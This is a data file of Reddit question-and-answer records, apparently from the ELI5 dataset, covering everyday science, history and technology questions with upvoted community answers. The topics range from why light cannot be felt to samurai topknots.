{"q_id": "13al35", "title": "why can't i feel light particles hitting me?", "selftext": "I know light doesn't have mass, but it does have energy. Why can't I feel the release of energy as the particle zooms towards my body and bounces off? Am I just \"used to it\"?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/13al35/eli5_why_cant_i_feel_light_particles_hitting_me/", "answers": {"a_id": ["c72a39t", "c72bjjt", "c72bxyz", "c72c7bs", "c72f9rf"], "score": [34, 3, 9, 2, 5], "text": ["... you ever felt warm standing in the sun? bam your feeling lights energy....", "You can feel it. It's one if the reasons you wear sunscreen.", "You feel touch because receptors all over your body get activated by a threshold amount of pressure.  Light doesn't give such mechanical stimulation and thus can't activate the receptors.  Your eyes, however, *can* be stimulated by these photons of light, giving you vision!", "You can-- the sensation is called warmth. Light particles bouncing off of the mass that is your body causes friction which releases a slight bit of energy in the form of heat.\n\n", "Warning: If you're actually five, you may not be able to understand this.\n\nEveryone else has already taken care of the \"sunlight feels warm\" point. I just wanted to say that while you are correct that photon's don't have mass, they do still have momentum. And momentum is always conserved in collisions. Therefore, when a photon hits you, it does physically push you. It's just really freakin weak.\n\nThis force that light exerts on the surface area of your skin is known as radiation pressure.\n\nThere are even things called solar sails that would use radiation pressure to propel spacecraft.\n\nI think this might be closer to what you were looking for.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "62k3bh", "title": "if you're standing on the back of a truck headed north at 100 mph, and you throw a baseball south at 100 mph, would the baseball appear to fall straight down to someone watching from the side of the road?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/62k3bh/eli5_if_youre_standing_on_the_back_of_a_truck/", "answers": {"a_id": ["dfn6cx5", "dfnftv5"], "score": [56, 3], "text": ["Yes. Speed is always relative to some point of reference. To someone standing on the truck the ball shoots off against the direction of travel at high speed. To someone stationary near the point where it's thrown it falls straight down.\n\n[Here's Mythbusters doing this experiment with a soccer ball fired from an air cannon](_URL_0_).", "Yes. It you are heading north at 100 mph, the baseball already has an initial velocity of 100 mph north. If you throw it 100 mph south, you go the other way and slow it down\n\n 100mph-100mph=0 mph. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=BLuI118nhzc"], []]}
{"q_id": "43pugr", "title": "What is the highest resolution image of a star that is not the sun?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/43pugr/what_is_the_highest_resolution_image_of_a_star/", "answers": {"a_id": ["czk22uk", "czk38ny", "czk38s0"], "score": [122, 28, 1291], "text": ["The [Very Large Telescope Array's Interferometer](_URL_0_) can achieve an angular resolution of 0.08 milliarcseconds. I think this is about the best of any current instrument, and while it's not really used for producing images in this configuration, it gives some idea of what's possible.\n\nA star's brightness is roughly proportional to its apparent angular size (assuming equal temperature and black body these would be equivalent), so the brightest stars should also appear the largest. Vega, the old definition of magnitude 0, has a radius of 2.362-2.818 solar radii and is at a distance of 25.04 light years. This gives is an angular size of 2.881 milliarcseconds (thanks WolframAlpha: _URL_3_)\n\nDividing Vega's apparent size by the VLT's angular resolution gives us potentially 36 useful pixels across Vega. That said, I have not found any actual images of extrasolar stars showing any kind of detail.\n\n\nEdit: Adding info from /u/ngc2307. A number of stars appear significantly larger than Vega, not surprisingly my error is in the equal temperature assumption. I knew it was wrong, but not *this* wrong. Probably the largest is R Doradus, a red giant with an apparent size of 68 milliarcseconds. [Here's a screwy interferometric image of it](_URL_2_).\n\nAltair has an apparent size of 3.2 milliarcseconds, about the same as Vega. [Here is a picture of it](_URL_1_).", "We don't have any telescopes capable of imaging stars as anything more than a few pixels. This is due to [diffraction limits.](_URL_0_) To image stars, or exoplanets, directly, [we'd need an array of satellites](_URL_1_), the but the major challenge is keeping the satellites at a fixed relative positions to within extremely small margins of error. ", "Essentially the only telescope we have that can do this currently (in at least near infrared wavelengths) is the [CHARA interferometer](_URL_0_). See [this list](_URL_6_) of stars with resolved images and note that they've pretty much all been done with CHARA, specifically with the [Michigan InfraRed Combiner (MIRC)](_URL_3_) instrument.\n\nIt's an interferometer, so the images aren't quite as easy to create or interpret. They can do some reconstructions though and tried to make them look like normal images. Here's [Altair](_URL_4_). [These](_URL_1_) are some of the only other images we have to date, using that MIRC instrument.\n\nThose are all infrared wavelengths though. **To my knowledge, the only visible wavelength resolved images of another star were done with Hubble of [Mira](_URL_2_)** and in UV of [Betelgeuse](_URL_5_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Very_Large_Telescope#Interferometry_and_the_VLTI", "http://en.es-static.us/upl/2009/06/altair_flattened_surface_details_Monnier-300x234.png", "https://en.wikipedia.org/wiki/R_Doradus#/media/File:R_Doradus_ESO.jpg", "http://www.wolframalpha.com/input/?i=(diameter+of+vega+%2F+distance+to+vega)+convert+to+milliarcseconds"], ["https://en.wikipedia.org/wiki/Diffraction-limited_system", "https://en.wikipedia.org/wiki/Astronomical_interferometer#Labeyrie.27s_hypertelescope"], ["https://en.wikipedia.org/wiki/CHARA_array", "https://www.lsa.umich.edu/UMICH/astro/Home/News/images/MIRC-Montage.jpg", "http://apod.nasa.gov/apod/image/9708/mira_hst_big.jpg", "https://www.lsa.umich.edu/mira/news/ci.johnmonnierstillpushingthelimitsofinterferometrymon26jan2015_ci.detail", "https://i.ytimg.com/vi/LJ904blcZog/hqdefault.jpg", "http://apod.nasa.gov/apod/image/9804/betelgeuse_hst_big.jpg", "https://en.wikipedia.org/wiki/List_of_stars_with_resolved_images"]]}
{"q_id": "1x2tss", "title": "why is my 2004 desktop faster then my 2013 laptop?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1x2tss/eli5_why_is_my_2004_desktop_faster_then_my_2013/", "answers": {"a_id": ["cf7lkl8", "cf7n51r", "cf7raj6", "cf7rotn", "cf7s3bt"], "score": [21, 3, 2, 3, 2], "text": ["There's no way of knowing without knowing the machines' specs.\n\nThe desktop could be a 6000$, top of the line, high end computer (for its time) whereas the laptop might be a 400$ piece of crap. \n\nThe laptop could be riddled with viruses or just encumbered with lots of programs.\n\nThe desktop could be running a lightweight operating system, or a system more appropriate for older comptuers (for example windows xp vs. windows vista).", "is it actually slower or are you just looking at the processor speeds, seeing that your desktop is 3.4ghz which is greater than your laptop's 2.2ghz, and claiming it's faster?  Because you can't do that, clock speed only matters for comparing within an architecture.  For example, my old original DROID phone from 3 years ago could over clock to 2ghz, but that doesn't mean it's nearly as fast as your laptop, because it sucked ass.", "Faster in what of many senses?  \n\nFrom the specs you posted the laptop would be faster when running at full power and once everything is loaded into RAM (e.g. benchmarking in a video game).\n\nBut if you're doing anything over a network, that could contribute, the desktop machine is almost certainly running a faster hard drive (the 550GB HDD is odd though, I don't know of any 550GB HDD's  ever made).  \n\nYour laptop though, it's worried about power and heat, both of which could be problems.  The first is that  it's probably by default running some conservative power setting that will limit performance most of the time to save  battery life and produce less heat.\n\nHeat could be an issue, if your laptop is unhappy about overheating it will ramp down performance.\n\nAlso, it depends what you're doing, the Pentium 4 might be a bit faster in a purely single threaded application, whereas the AMD should be quite a bit faster in a  multithreaded.  ", "Because of [Wirth's Law](_URL_0_)", "your laptop comes installed with bloatware. remove it all and get a clean basic install and your laptop will likely 'feel' faster than your desktop.\n\nsecond, hard drive speeds make a computer 'feel' faster or slower. a 5400rpm drive is typical for a laptop where 7200rpm is typical for a desktop. there is likely less latency when read/writing on your desktop drive. upgrade to an ssd for either machine and really see the difference.\n\nthird, cpu clock speed cannot be directly compared. a pentium 4 is miles behind what a modern quadcore cpu is capable of doing. open up as many applications as possible and see which machine is actually able to handle it. intel's pentium 4 architecture is known for running at high speeds but also not performing as well as amd's athlon 64 at the time, this is why they dropped netburst for their core architecture and are now miles ahead of amd in single core performance.\n\n_URL_0_\n\n_URL_1_\n\n_URL_2_\n\netc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Wirth%27s_Law"], ["anandtech.com", "tomshardware.com", "hardwarecanucks.com"]]}
{"q_id": "yxydx", "title": "joel tenenbaum has to pay 675,000 to the riaa for pirating 31 songs. how does an average dude pay for this kind of fine?", "selftext": "Can he declare bankruptcy? A fine like this is worse than a prison sentence, and in my opinion, does not fit the crime committed. How is the average person supposed to pay this kind of fine? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yxydx/eli5_joel_tenenbaum_has_to_pay_675000_to_the_riaa/", "answers": {"a_id": ["c5zsvwd", "c5zti1x", "c5zvxht", "c5zwzih", "c5zx5nq", "c5zxcnt", "c5zy6fj", "c5zyjxe", "c5zzhbf", "c5zzuyj", "c600eyl", "c601vca"], "score": [119, 240, 100, 2, 17, 29, 24, 2, 2, 2, 3, 2], "text": ["He's not. That's the point. The RIAA is sending a message. Albeit, it's falling of deaf ears.", "Probably what will happen to Mr. Tenenbaum is that he will be subject to a 'Wage Garnishment'. Folks who owe child support will be very familiar with that term since it's also used against them.\n\n_URL_0_\n\nAssuming that he or his lawyers don't find a way to duck the $675k fine, this means he owes a debt of $675k.\n\nOf course, barring winning the lottery or becoming a successful businessman, most folks are never going to be able to pay that much in their entire lives.\n\nThat means that a court, probably not the same one that convicted him, will issue an order saying that he has to pay so much out of every thing he ever earns up until he has paid off his debt... which will likely be never.\n\nBecause child support disputes, tax debt, and other kinds of debt are so common, most businesses who have more than just a couple employees deal with wage garnishments as a matter of fact. You can't be legally fired for having a wage garnishment, nor can an employer legally refuse to hire you for having one.\n\nHowever, assuming that he works and doesn't find some other way around it, that garnishment is going to be a stone around his neck for a long, long time.\n", "$20,000+ per song?  How is that in any way proportional to the 'offence'?", "Honestly, he should go on [Indiegogo](_URL_0_) and see if people will donate money to him to help him pay off the debt.  There might be people out there who are willing to help him out.", "He doesn't. And that's the point. He's not supposed to. The RIAA doesn't care about the $30 lost in revenue, it's about saying \"fuck you\" to him because he stole from them. He's never expected to pay. It's like the mafia. L", "I live in Poland. The rule polish judges use in similar cases is called low social harm. So how much harm did the accused person to society by his action. The answer is: low. They haven't strongly harm society by downloading music, movies, books or programs. People get small fines (like $200 to $500) or are made to do some public work, they also cover some court costs (~$300). That's it. \n\n(The fines are much bigger for companies, I'm talking about private individuals.)\n\nI'm shocked how it's approached by American judges. For me the difference between committed crime: pirating 31 songs, and fine: $20k per song is beyond imagination. Did he shared them for years by torrent and they counted downloads? \n\nOne song costs up to couple of bucks on iTunes. There should be additional fine, he will feel. But not fine destroying the rest of his life. ", "Joel Tenanbaum will most likely file for Bankruptcy.  Bankruptcy laws exist so that people who owe money (debtors) won\u2019t need to spend their entire life paying the people that they owe money to (creditors).  When a debtor files for Bankruptcy the law says that all of his property becomes property of the court.  The court can then use the property to pay off creditors.  The Bankruptcy Laws also state that there are certain things that everyone needs in order to live, and the court cannot sell these things to pay of the creditors.  These things are called exemptions.\n\nSo when you file bankruptcy everything you own gets put into a big pot.  The court can sell things in the pot to pay the creditors, but you get to go through the pot first to take out all of the things that are exempt.  Things that are exempt include your house, your car, some money in savings, retirement accounts, clothes, furniture, and almost anything else you can think of that you would need to live a normal life.  After you take all of your things out of the pot, the court sells the rest and gives the money to the creditors.  Once the creditors are paid from the pot, the court declares that you no longer owe any money to anyone.  \n\nIn many bankruptcy cases, especially those filed by people who don\u2019t have a lot of money, there is nothing left in the pot for the creditors after the debtor removes the things he needs.  Even if the creditors do not get anything from the pot, the court still says that the debtor no longer owes money.  Hundreds of people around the country file bankruptcy every day and it only costs about $1000-$2000, and takes a few months to complete.\n\nAfter Joel Tenanbaum files bankruptcy he will no longer owe any money to the RIAA.\n", "I'd leave the country, fuck that", "I would throw 2 rolls of pennies at the RIAA's main office windows every single day for 185 years. ", "If I were him I'd just write 31 new songs and give those to the RIAA as a trade.  Any problem with that?", "This is still going through appeal. If the appeal fails, he will file for bankruptcy \n\n_URL_0_", " 675,000 doll hairs? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.dol.gov/compliance/guide/garnish.htm"], [], ["http://www.indiegogo.com"], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Sony_BMG_v._Tenenbaum#Appeal"], []]}
{"q_id": "24o5lv", "title": "why do i sometimes get a voicemail without being notified of the missed call?", "selftext": "My phone will alert me of a voicemail that just came in but I cannot find a missed call alert or the number that called sometimes. I find it very odd.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24o5lv/eli5_why_do_i_sometimes_get_a_voicemail_without/", "answers": {"a_id": ["ch90zzh"], "score": [2], "text": ["The call is passed through to your phone as a one time occurrence. If it is out of range or sync it will miss the call. The voicemail and text messages are sent repeatedly until confirmed received. So when your phone come back into range or signal the message is sent but the call is already missed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1pvm72", "title": "Where does traffic data come from?", "selftext": "I have always wondered, since google and other seem to have data on pretty small roads too. There's no way they are physically counting cars or measuring speed every mile, right?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1pvm72/where_does_traffic_data_come_from/", "answers": {"a_id": ["cd6j80r", "cd6vspb", "cd76nq7"], "score": [9, 5, 2], "text": [" > There's no way they are physically counting cars or measuring speed every mile, right?\n\nGoogle sources the data from android phones with location services enabled - most other phone based systems use something similar\n\nThe cities that I know anything about use a combination of cameras and tracking toll tags", "In addition to the things others have mentioned - mobile phones (as they move from tower to tower and/or if they have location services) and in-car GPS units - many road authorities have their own systems that they sell (or give) to Google and other systems. It's worth noting that GPS and mobile systems often as biased towards certain groups - usually more expensive cars etc, although this is changing as smart phones become more common. It also doesn't capture all cars so needs to extrapolate the data to estimate what percentage of vehicles it is getting. \n\nTravel time, traffic volume etc can also be taken from traffic signal controllers, as they detect and count cars at each approach. Usually not completely accurate, as if cars are too close (as they often are when driving slow at lights that have only recently changed) they can be counted as one car. Again, data is extrapolated based on what % is thought top be captured.\n\n > There's no way they are physically counting cars or measuring speed every mile, right?\n\nFor freeways? Often, yes.\n\nFor freeways, where there are no traffic signals, there are often detection stations spaced regularly across the network (I think every 500m/1600ft is fairly common practice nowadays). This can be in-pavement detectors (such as induction loops or magnetic sensors) or non-intrusive detectors such as CCTV (particularly in tunnels as changes in light don't happen and no wind) or microwave. These record a variety of details about vehicles, particularly count, speed, length and gap between vehicles.  This captures close to 100% of vehicles and thus is the most accurate. Using the values it captures you can determine how heavy the traffic is on the road. In theory a single lane of freeway should be able to take a maximum of (*I think*) 1950 vehicles per lane per hour. So a straight count can be compared to give some traffic volume value. Length and gap can be used to determine 'occupancy' which shows how much of the road is being used. Flow breakdown on freeways actually occurs at around 20% Occupancy (so when gaps between cars is less than 5 car lengths, on average) although this varies depending on the road layout.", "Around my area we have traffic counters which consist of a box on the side of the road with two thin rubber tubes (about 6 mm, about a quarter inch) laid across one lane, about 150 mm / 6'' apart. When a vehicle drives over them, the box gathers speed, number/density and direction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "53lhnk", "title": "Why did John Adams believe that democracies consume themselves and don't last long?", "selftext": "Did he believe that due to a line of reasoning such as \"There is a necessary distribution of talents and accumulation of weath, and its easy to vote to take it away from those with wealth\"\n\nOr were there famous examples of failed greek democractic city-states?\n\nOr something else?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/53lhnk/why_did_john_adams_believe_that_democracies/", "answers": {"a_id": ["d7ul4w8"], "score": [7], "text": ["With respect to your second question, Athens is the most obvious example of a democracy that \"consumed itself.\" While the hoplite democracy of Cleisthenes kept power in the hands of a smaller stratum of Athenian society, participation in the process was expanded and the poor decisions made by the Athenian citizenry in the Peloponnesian War, especially the two invasions of Sicily, greatly contributed to that city losing the war.\n\nPerhaps there is someone who can speak more authoritatively on John Adams, but like most educated men of the time (and educated men stretching back to the Middle Ages and before) saw democracy as naturally volatile because the whims of the people can be fickle and are prone to rash decisions. The quote you offer suggests that a voting block could alienate a man from his property through the political process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cdax3s", "title": "If you kill an octopus while it is camouflaged does it remain that color or does it revert to its natural pigment?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cdax3s/if_you_kill_an_octopus_while_it_is_camouflaged/", "answers": {"a_id": ["ettg8q3"], "score": [30], "text": ["The later.  Cephalopods camouflaging abilities are a function of the nervous function.  Killing the animal ceases that function.  If you look around on youtube, there are clips of Japanese fisherman killing freshly caught squids (to preserve freshness) and you can see very clearly the exact moment the animal dies by its color."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "66oi87", "title": "what is a daddyofive and why should i hate it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/66oi87/eli5_what_is_a_daddyofive_and_why_should_i_hate_it/", "answers": {"a_id": ["dgk19xp", "dgk2p9k", "dgk2quy", "dgk3hco", "dgk3hyl", "dgk4k8y", "dgk4nz3", "dgk4yx8"], "score": [480, 38, 272, 31, 32, 9, 5, 2], "text": ["Daddyofive is a youtuber that (mostly) makes videos of very cruel pranks he and his family do to his adopted son (Cody, about 10ish years old). They feature lots of yelling and screaming at the kid, accusing him of doing things he obviously didn't do, the kid crying etc, and they usually end with the dad going \"it's just a prank, brah\". I would not recommend anyone watch the videos.\n\nThe videos are so disturbing that many people are calling it child abuse and child protective services have been notified. This is probably why all his videos were taken down, to hide the evidence.", "Don't forget they also have mommyofive or momofice I forget but it is the wife doing the same evil shit to this poor kid. There is nothing funny about making a child cry and this poor boy is constantly being pushed to the point of tears and tantrums. It is disgusting and thanks to reddit hopefully will be stopped. \nYou have to love it when the reddit community bans together to prevent or stop something horrible hat is happening", "DaddyOFive is a channel that is a mix of a family channel and a \"pranks\" channel.  The family comprises of: a man ~~with~~ *seems to me to have* borderline personality disorder with two biological children from a previous relationship, and an overweight woman ~~with~~ *seems to me to have* severe anti-social personality disorder (plus narcissistic and sadistic traits) with three biological children from a previous relationship.  \n  \nMost of the videos involve \"pranks\" which involve abusing the youngest child Cody (DaddyOFive's son).  The father does this for fun, views and money.  The step-mother does this for the same reasons in addition to her hatred of her step-son.  The videos include:  \n- The invisible ink \"prank\".  The grown-ups put invisible ink on the carpet, and then scream and swear at Cody and one of the other kids, blaming them for spilling ink on the carpet.  Those kids are scared and crying.  Cody tries to reason with them, but fails due to the futility of reasoning with stupid.  At the end, Cody is forced to say the outro (like, subscribe etc.) while looking miserable.  \n- Smashing stuff \"pranks\".  The dad screams and swears at Cody over something, and then smashes something of his (e.g. XBox).  Cody looks very stressed and cries (not surprising since there is a raging grown-up armed with a hammer).  Cody still looks miserable after receiving a replacement.  \n- Bullying by older step-brothers.  The father and step mother encourage or at least permit, the bullying of Cody (including violence) from his step-siblings.  \n- Slapping.  There was some kind of \"challenge\".  Losing it meant a hard slap in the face from a sibling/step-sibling.  DaddyOFive's daughter was hurt during this.  \n- Cody not going to Disneyland.  The whole family go to Disneyland except for Cody, who stays with his step-grandparents for being 'badly behaved'.  His father is having doubts about not letting him go (the only ounce of compassion he shows), but due to his low intelligence and borderline personality disorder, he is manipulated by his projection expressing narcissistic-psychopath wife (saying stuff like 'he chose to be bad', and 'he will ruin the trip' etc.).  \n  \nCody begs for the bullying to end, and begs them to stop filming, but his father and step-mother are merciless.  In one video, he tried running away but his father threw him into a bookshelf.  He then appeared to have a bleeding nose.  \n   \nThe DaddyOFive channel has been around since 2015, and has over 700,000 subscribers, but it has only been in recent weeks that it has gained a lot of attention.  People who think this is wrong, aren't the kind of people who would seek out, subscribe to, and watch such a channel.  Fortunately some decent people came across the channel and publicised what was going on.  \n  \nDaddyOFive released some 'sorry-not-sorry \"haters\" back-off' type videos.  The final video has him and his wife complaining about \"that DeFranco guy\" and the false \"aquisations\" (sp) of abuse.  The borderline father seemed sad but the psychopath step-mum seemed unfazed and yawned during the video.  All videos except the final one were made private, but there are many archived copies and reaction videos elsewhere.  Given that this 'sorry-not-sorry' video only had the two grown-ups in it (the other had the kids saying stuff to defend the parents like \"at least we don't get beaten\"), it is possible that the children have now been taken from them.  \n  \nEdit: ~~with~~ *seems to me to have* . ", "If you dont want to watch the videos giving those vile parents ad revenue. [Heres a good video from Philip DeFranco](_URL_0_) explains whats going on and breaks down the videos.", "Phillip DeFranco did a great video exposing the whole situation, _URL_0_ he his two following videos are also updates on the same topic.", "I need an ELI5 of how they had 700k+ subscribers. There are much more quality/educational/humorous channels that don't have that many subscribers. \nSo how is it that 766,000 people saw these videos and thought it tickled their bones enough to subscribe and ultimately led the channel to believe THOSE are the types of videos his \"audience\" wanted to see.\n\nOn his twitter page, there's these 30-sec teasers of him taking a hammer and slowly walking and putting it on top of an XBOX, obviously hinting at his latest 'fun parent prank.'\nI'm just confused as to what caused him to think that wasting resources/giving his kids a violent scare is the kind of videos that will give him more views and ultimately expand his viewership (earning$$)", "If you want the full, in-depth version (you kind of don't, it's soul crushing...) [Nerd City](_URL_0_) just put out an incredibly detailed video.\n\nReally shows the extent of the problem by being able to fill 30 minutes with very minimal use of repeated clips.\n\nIt's a shit show on the Do5 channel...", "Can I put an add-on ELI5 to this?\n\n >  What is a DaddyoFive and why should I hate it?\n\nnow that the ELI has been answered;\n\n >  what can I do about it besides just random internet hate?\n\nIs there someone I can call? Someone I can email? Somewhere else I can report that channel to help contribute to 1) his channel getting taken down, and 2) him facing legal action or some kind of tangible repercussion other than a slap on the wrist of some bad publicity?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/fvoLmsXKkYM"], ["https://youtu.be/fvoLmsXKkYM"], [], ["https://www.youtube.com/watch?v=QOVrrL5KtsM"], []]}
{"q_id": "48kea6", "title": "why are miniguns called miniguns when they're actually quite big if not huge?", "selftext": "I hear they can weight upwards of 88 pounds. Is this one of those ironic name things?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48kea6/eli5_why_are_miniguns_called_miniguns_when_theyre/", "answers": {"a_id": ["d0kb8xo", "d0kdopu", "d0kibnf"], "score": [30, 77, 9], "text": ["Most rotary machine guns are larger in caliber, and were developed prior to the M134 Minigun.  The name for the minigun comes from the fact that it fires a smaller projectile (usually 7.62mm) than other similar guns, like the 20mm M61 Vulcan and 30mm GAU-8 Avenger.", "Because the Minigun is a miniature version of the larger M61 Vulcan. Minigun is not a catch all name for rotary guns it's a specific gun, the M134 ", "It's a bit like how a mini computer is the size of a fridge. It came when a computer was the size of a room.\n\nLikewise, the M134 came when other weapon systems of comparable design where much larger."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "67v88p", "title": "Were unicorns thought of as real animals at different points in history?", "selftext": "What would be the point of including the unicorn in a study of animals like this:\n\n_URL_0_\n\nQuoted as:\n8. The UNICORN, a Beast which, tho* doubted.\nof by many Writers, yet is by others thus described :\nHe has but one Horn, and that an exceeding rich\none, growing out of the Middle of his Forehead.\nHis Head resembles an Hart's, his Feet an Elephant's,\nhis Tail a Boar's, and the. rest of his Body an Horse's.\nThe Horn is about a Foot and a half in Length.\nHis Voice is like the Lowing of an Ox. His Mane\nand Hair a-e of a yellowish Colour. His Horn is as\nhard as Iron, and as rough as any File, twisted or\ncurled like a flaming Sword ; very straight, sharp, and\nevery where black, excepting the Point. Great Virtues \nare attributed to it, in expelling of Poison, and\ncuring of several Diseases. He is not a Beast of\nPrey.\n\n\nEdit: Also noticed they included the manticore and another animal I cant identify, the lamia.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/67v88p/were_unicorns_thought_of_as_real_animals_at/", "answers": {"a_id": ["dgtikzt"], "score": [16], "text": ["First of all, it is important to point out that the unicorn does not figure into traditional folklore: in other words, it does not appear in legendary material (stories to be believed) nor does it appear in the fictional folktale (the oral novels of the folk). The unicorn appears in medieval literature and in bestiaries, as an intellectual construct. So many extraordinary things - giants, dragons, mermaids, fairies, ghosts, for example - were part of folklore, believed to exist by the folk and then drawn into literature, but the unicorn does not follow that path. Instead, it was born of the intelligentsia and it did not diffuse to the folk. \n\nThere may have been (and probably were) educated people who accepted reports of unicorns as existing in exotic locations, but the folk did not believe in them nor were they likely to know of them except as the creature occasionally figured into art that people might see.\n\nAs a side note, the unicorn occasionally appears in fantasy literature and film, but it does not normally appear in the work of authors (such as Tolkien) who remained true to the original folk belief, where the creature was an alien. When the unicorn does appear, one can be fairly certain that the author does not draw upon pristine folklore but rather is toying with intellectual concepts and/or is drawing upon secondary literature rather than the primary source."]}, "title_urls": [], "selftext_urls": ["https://drive.google.com/file/d/0BwuhtWGMSK8dSV84YkloenUxMnc/view?usp=sharing"], "answers_urls": [[]]}
{"q_id": "558n8v", "title": "when windows updates, why is the percent complete never accurate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/558n8v/eli5_when_windows_updates_why_is_the_percent/", "answers": {"a_id": ["d88g9br"], "score": [2], "text": ["The percent complete is never accurate because it's guessing based on the current moment, but can't predict things that might slow down or speed up the end time.\n\nIt's like watching someone run a mile, if you see how fast they run the first 100 yards, you might think they'll finish fast, but they slow down a little later and now your guess is wrong. so then you watch a little longer and guess again, but they might trip, or wait for another runner  to get in front of them, so you are wrong again. They might be 20 feet from the finish line and you make a really great guess, but they stop to tie their shoes for a while and it's wrong again. You can guess close, but you'll never guess accurate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2zm41h", "title": "Did the Samurai top knot have a practical purpose?", "selftext": "I recently read a fictionalized account of the youth of Miyamoto Musashi.  In the book he says that the samurai top knot is worn to help balance the helmet during battle.  Is there any truth to this? I would have assumed that helmets would be shaped to the head with padding so as to ensure tight fit and comfort.  Any information on the hairstyle or on Japanese armor in general would be greatly appreciated.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2zm41h/did_the_samurai_top_knot_have_a_practical_purpose/", "answers": {"a_id": ["cpkrbqi"], "score": [12], "text": ["Yes. Originally, the knot or bun of hair, known as \u9af7 *mage* (pronounced MAH GEH), was a method for some samurai to to keep their helmets straight. Note that the \u4e01\u9af7 *chonmage* was not simply the bun but was also the constant maintenance and shaving of all the hair on the front of the head up until the top center of the head, where the bun/knot would be. \n\nLong hair was the default hairstyle for the average Japanese person but for warriors, having a standard hair style where most of the hair was shaved helped armorers and quartermasters in standardizing helmets to fit tight, to an extent. \n\nThe knots/buns portion of the *chonmage* would generally be only in contact with the helmet at the very top and maybe just a bit toward the back. Everything else would be flush with the mostly shaved head. The bun, done properly (and with enough hair) would  usually have enough density to be a fairly stationary thing, giving the helmet stability. \n\nAnd helmets *were* padded, to varying degrees. They were shaped around the *chonmage* and both would have fit well together. The idea was that the *chonmage* would keep the helmet in place better than a simply bald head as well as help absorb impacts to the top of the head. \n\nFinally, it should be noted that hair loss/lack of hair was taken into consideration. Particularly older gentlemen (like major warlords), when wearing helmets, would have had different padding as well as different *mage*, making one out of what hair they had due to naturally receding hairlines and male pattern baldness. \n\nThe most important factor for the various *mage* throughout Japanese history however, would be their use as a class symbol, really beginning in earnest during the Edo Period, when classes were set in stone by laws and heavy policing. \n\nDuring the Edo Period, only those who belonged to the warrior class could wear *mage* and it was a privilege to be able to do so, similar to being allowed to carry swords. It became a point of manners and custom to do so more than any martial application. \n\nBy the Meiji Period however, all soldiers and government officials were ordered to cut their hair short in the Western style. Soon it applied to all men (with the exception of sumo). \n\nThis was part of the rapid modernization efforts and one of the foreign policy efforts of the new government to be accepted among their European and American peers as quickly as possible, for a whole slew of reasons. Long hair was one of the things that observers in Japan, China, etc found disdainful of Asian men, even though it was one of the most important parts of the body/spirit in Confucianism. \n\nAlso, quick side note, it should be mentioned that there were many types of *mage*, For example the *mage* that sumo wear today are nothing like the *chonmage* of the Sengoku Period. The most common sumo *mage* from our time are called \u9280\u674f\u9af7 *ichoumage*, named after the ginko leaf because of the shape. \n\nAnyways, if you have more questions, I'd be happy to clarify anything I said. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6hcvt8", "title": "how much power do video game publishers have over games?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6hcvt8/eli5_how_much_power_do_video_game_publishers_have/", "answers": {"a_id": ["dixhdgr"], "score": [3], "text": ["Since the publisher typically fronts the money to fund development, they are basically the customer, and who has the gold makes the rules.\n\nHowever, a good publisher also knows that you won't get good results if you try to micromanage a creative process.\n\nBesides: the publisher hired that studio because they conviced the publisher that they can develop a good game - it would be kinda stupid to hire them and then not let them do their job.\n\nThey will usually want to be constantly involved at a higher level to ensure that the visions stay aligned, though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
